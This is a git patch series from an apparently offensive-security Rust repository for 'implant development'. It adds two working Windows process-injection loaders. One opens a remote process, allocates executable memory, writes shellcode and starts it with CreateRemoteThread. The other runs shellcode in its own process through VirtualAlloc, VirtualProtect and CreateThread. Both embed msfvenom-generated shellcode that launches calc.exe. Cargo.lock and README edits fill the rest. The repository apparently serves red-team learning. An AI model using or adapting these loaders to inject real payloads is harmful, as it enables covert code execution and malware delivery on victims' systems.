From c773333547674cf68867ef2c89eaa98a95b70bd7 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 5 Mar 2022 09:10:58 -0800 Subject: [PATCH 1/3] adding CreateThreadm renaming CreateRemoteThread dir --- .../Cargo.toml | 10 + .../src/main.rs | 35 ++++ Process_Injection_CreateThread/Cargo.lock | 187 ++++++++++++++++++ Process_Injection_CreateThread/Cargo.toml | 20 +- Process_Injection_CreateThread/src/main.rs | 162 ++++++++++++--- 5 files changed, 381 insertions(+), 33 deletions(-) create mode 100644 Process_Injection_CreateRemoteThread/Cargo.toml create mode 100644 Process_Injection_CreateRemoteThread/src/main.rs create mode 100644 Process_Injection_CreateThread/Cargo.lock diff --git a/Process_Injection_CreateRemoteThread/Cargo.toml b/Process_Injection_CreateRemoteThread/Cargo.toml new file mode 100644 index 0000000..70501dc --- /dev/null +++ b/Process_Injection_CreateRemoteThread/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "Process_Injection_CreateThread" +version = "0.1.0" +edition = "2018" +author = "trickster0" +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +kernel32-sys = "0.2.2" +winapi = {version = "0.3.9", features = ["winnt"] } diff --git a/Process_Injection_CreateRemoteThread/src/main.rs b/Process_Injection_CreateRemoteThread/src/main.rs new file mode 100644 index 0000000..8abb4e8 --- /dev/null +++ b/Process_Injection_CreateRemoteThread/src/main.rs @@ -0,0 +1,35 @@ +extern crate kernel32; +use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; +use std::ptr; + +fn main() { + let test : [u8;276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, +0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, +0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, +0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, +0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, +0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, +0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, +0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, +0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, +0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, +0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, +0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, +0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, +0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, +0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, +0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, +0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, +0x63,0x2e,0x65,0x78,0x65,0x00]; + + unsafe { + let mut h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), 31736); + let mut addr = kernel32::VirtualAllocEx(h,ptr::null_mut(),test.len() as u64,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); + let mut n = 0; + kernel32::WriteProcessMemory(h,addr,test.as_ptr() as _, test.len() as u64,&mut n); + let mut hThread = kernel32::CreateRemoteThread(h,ptr::null_mut(),0,Some(std::mem::transmute(addr)), ptr::null_mut(), 0,ptr::null_mut()); + kernel32::CloseHandle(h); + } +} + diff --git a/Process_Injection_CreateThread/Cargo.lock b/Process_Injection_CreateThread/Cargo.lock new file mode 100644 index 0000000..3bd61be --- /dev/null +++ b/Process_Injection_CreateThread/Cargo.lock @@ -0,0 +1,187 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "RustProcInjection" +version = "0.1.0" +dependencies = [ + "argparse", + "clap", + "kernel32-sys", + "winapi 0.3.9", + "winreg", +] + +[[package]] +name = "argparse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f8ebf5827e4ac4fd5946560e6a99776ea73b596d80898f357007317a7141e47" + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi", + "libc", + "winapi 0.3.9", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "clap" +version = "3.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced1892c55c910c1219e98d6fc8d71f6bddba7905866ce740066d8bfea859312" +dependencies = [ + "atty", + "bitflags", + "indexmap", + "os_str_bytes", + "strsim", + "termcolor", + "textwrap", +] + +[[package]] +name = "hashbrown" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "indexmap" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282a6247722caba404c065016bbfa522806e51714c34f5dfc3e4a3a46fcb4223" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "kernel32-sys" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" +dependencies = [ + "winapi 0.2.8", + "winapi-build", +] + +[[package]] +name = "libc" +version = "0.2.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bf2e165bb3457c8e098ea76f3e3bc9db55f87aa90d52d0e6be741470916aaa4" + +[[package]] +name = "memchr" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" + +[[package]] +name = "os_str_bytes" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e22443d1643a904602595ba1cd8f7d896afe56d26712531c5ff73a15b2fbf64" +dependencies = [ + "memchr", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "termcolor" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "textwrap" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1141d4d61095b28419e22cb0bbf02755f5e54e0526f97f1e3d1d160e60885fb" + +[[package]] +name = "winapi" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-build" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +dependencies = [ + "winapi 0.3.9", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi 0.3.9", +] diff --git a/Process_Injection_CreateThread/Cargo.toml b/Process_Injection_CreateThread/Cargo.toml index 70501dc..c498de5 100644 --- a/Process_Injection_CreateThread/Cargo.toml +++ b/Process_Injection_CreateThread/Cargo.toml @@ -1,10 +1,22 @@ [package] -name = "Process_Injection_CreateThread" +name = "RustProcInjection" version = "0.1.0" -edition = "2018" -author = "trickster0" +edition = "2021" + # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] kernel32-sys = "0.2.2" -winapi = {version = "0.3.9", features = ["winnt"] } +winapi = {version = "0.3.8", features=[ + "winnt", + "memoryapi", + "errhandlingapi", + "processthreadsapi", + "synchapi", + "winbase", + "handleapi", + "libloaderapi" +]} +winreg = "0.10" +argparse = "0.2.2" +clap = "3.1.5" \ No newline at end of file diff --git a/Process_Injection_CreateThread/src/main.rs b/Process_Injection_CreateThread/src/main.rs index 8abb4e8..806b400 100644 --- a/Process_Injection_CreateThread/src/main.rs +++ b/Process_Injection_CreateThread/src/main.rs @@ -1,35 +1,139 @@ extern crate kernel32; -use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; +use winapi::um::winnt::{PVOID, PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READ}; use std::ptr; +use std::io; +use std::io::prelude::*; +use std::io::{stdin, stdout, Read, Write}; +use winapi::um::errhandlingapi; +use winapi::um::processthreadsapi; +use winapi::um::winbase; +use winapi::um::synchapi::WaitForSingleObject; +use std::process; -fn main() { - let test : [u8;276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, -0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, -0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, -0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, -0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, -0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, -0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, -0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, -0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, -0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, -0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, -0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, -0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, -0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, -0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, -0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, -0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, -0x63,0x2e,0x65,0x78,0x65,0x00]; +type DWORD = u32; - unsafe { - let mut h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), 31736); - let mut addr = kernel32::VirtualAllocEx(h,ptr::null_mut(),test.len() as u64,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); - let mut n = 0; - kernel32::WriteProcessMemory(h,addr,test.as_ptr() as _, test.len() as u64,&mut n); - let mut hThread = kernel32::CreateRemoteThread(h,ptr::null_mut(),0,Some(std::mem::transmute(addr)), ptr::null_mut(), 0,ptr::null_mut()); - kernel32::CloseHandle(h); - } + +fn breakpoint() { + let mut stdout = stdout(); + stdout.write(b"[*] Press Enter to continue...\n").unwrap(); + stdout.flush().unwrap(); + stdin().read(&mut [0]).unwrap(); } +fn main(){ + create_thread() +} + +fn create_thread() { + + //┌──(kali㉿kali)-[~/Desktop] + //└─$ msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp + let test : [u8;276] = + [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, + 0x63,0x2e,0x65,0x78,0x65,0x00]; + + + // allocate base addr as RW + unsafe{ + let base_addr = kernel32::VirtualAlloc( + ptr::null_mut(), + test.len().try_into().unwrap(), + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + + if base_addr.is_null() { + println!("[-] Couldn't allocate memory to current proc.") + } else { + println!("[+] Allocated memory to current proc."); + } + + breakpoint(); + + // copy shellcode into mem + println!("[*] Copying Shellcode to address in current proc."); + + breakpoint(); + + std::ptr::copy(test.as_ptr() as _, base_addr, test.len()); + + println!("[*] Copied..."); + + breakpoint(); + + // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` + + println!("[*] Changing mem protections to RX..."); + + let mut old_protect: DWORD = PAGE_READWRITE; + + let mem_protect = kernel32::VirtualProtect ( + base_addr, + test.len() as u64, + PAGE_EXECUTE_READ, + &mut old_protect + ); + + if mem_protect == 0 { + let error = errhandlingapi::GetLastError(); + println!("[-] Error: {}", error.to_string()); + process::exit(0x0100); + } + + breakpoint(); + + // Call CreateThread + println!("[*] Calling CreateThread..."); + + let mut tid = 0; + let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; + + let h_thread = processthreadsapi::CreateThread( + ptr::null_mut(), + 0, + Some(ep), + ptr::null_mut(), + 0, + &mut tid + ); + + if h_thread.is_null() { + let error = unsafe { errhandlingapi::GetLastError() }; + println!("{}", error.to_string()) + + } else { + println!("[+] Thread Id: {}", tid) + } + + // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running + + breakpoint(); + + println!("[*] Calling WaitForSingleObject..."); + + let status = WaitForSingleObject(h_thread, winbase::INFINITE); + if status == 0 { + println!("[+] Good!") + } else { + let error = errhandlingapi::GetLastError(); + println!("{}", error.to_string()) + } + } +} \ No newline at end of file From 4eb1153312fe76e5254de60a4b6cf010896ae7c9 Mon Sep 17 00:00:00 2001 From: HuskyHacks <57866415+HuskyHacks@users.noreply.github.com> Date: Sat, 5 Mar 2022 12:12:27 -0500 Subject: [PATCH 2/3] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 261e7c7..1266134 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,8 @@ My experiments in weaponizing [Rust](https://www.rust-lang.org/) for implant dev | [Kernel_Driver_Exploit](../master/Kernel_Driver_Exploit/src/main.rs) | Kernel Driver exploit for a simple buffer overflow | | [Named_Pipe_Client](../master/Named_Pipe_Client/src/main.rs) | Named Pipe Client | | [Named_Pipe_Server](../master/Named_Pipe_Server/src/main.rs) | Named Pipe Server | -| [Process_Injection_CreateThread](../master/Process_Injection_CreateThread/src/main.rs) | Process Injection in remote process with CreateRemoteThread | +| [Process_Injection_CreateThread](../master/Process_Injection_CreateRemoteThread/src/main.rs) | Process Injection in running process with CreateThread | +| [Process_Injection_CreateRemoteThread](../master/Process_Injection_CreateRemoteThread/src/main.rs) | Process Injection in remote process with CreateRemoteThread | | [Unhooking](../master/Unhooking/src/main.rs) | Unhooking calls| | [asm_syscall](../master/asm_syscall/src/main.rs) | Obtaining PEB address via asm | | [base64_system_enum](../master/base64_system_enum/src/main.rs) | Base64 encoding/decoding strings | From 57d114499197955e105153df825db1a1163460f7 Mon Sep 17 00:00:00 2001 From: HuskyHacks <57866415+HuskyHacks@users.noreply.github.com> Date: Sat, 5 Mar 2022 12:13:01 -0500 Subject: [PATCH 3/3] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1266134..b3a85c7 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,7 @@ My experiments in weaponizing [Rust](https://www.rust-lang.org/) for implant dev | [Kernel_Driver_Exploit](../master/Kernel_Driver_Exploit/src/main.rs) | Kernel Driver exploit for a simple buffer overflow | | [Named_Pipe_Client](../master/Named_Pipe_Client/src/main.rs) | Named Pipe Client | | [Named_Pipe_Server](../master/Named_Pipe_Server/src/main.rs) | Named Pipe Server | -| [Process_Injection_CreateThread](../master/Process_Injection_CreateRemoteThread/src/main.rs) | Process Injection in running process with CreateThread | +| [Process_Injection_CreateThread](../master/Process_Injection_CreateThread/src/main.rs) | Process Injection in running process with CreateThread | | [Process_Injection_CreateRemoteThread](../master/Process_Injection_CreateRemoteThread/src/main.rs) | Process Injection in remote process with CreateRemoteThread | | [Unhooking](../master/Unhooking/src/main.rs) | Unhooking calls| | [asm_syscall](../master/asm_syscall/src/main.rs) | Obtaining PEB address via asm |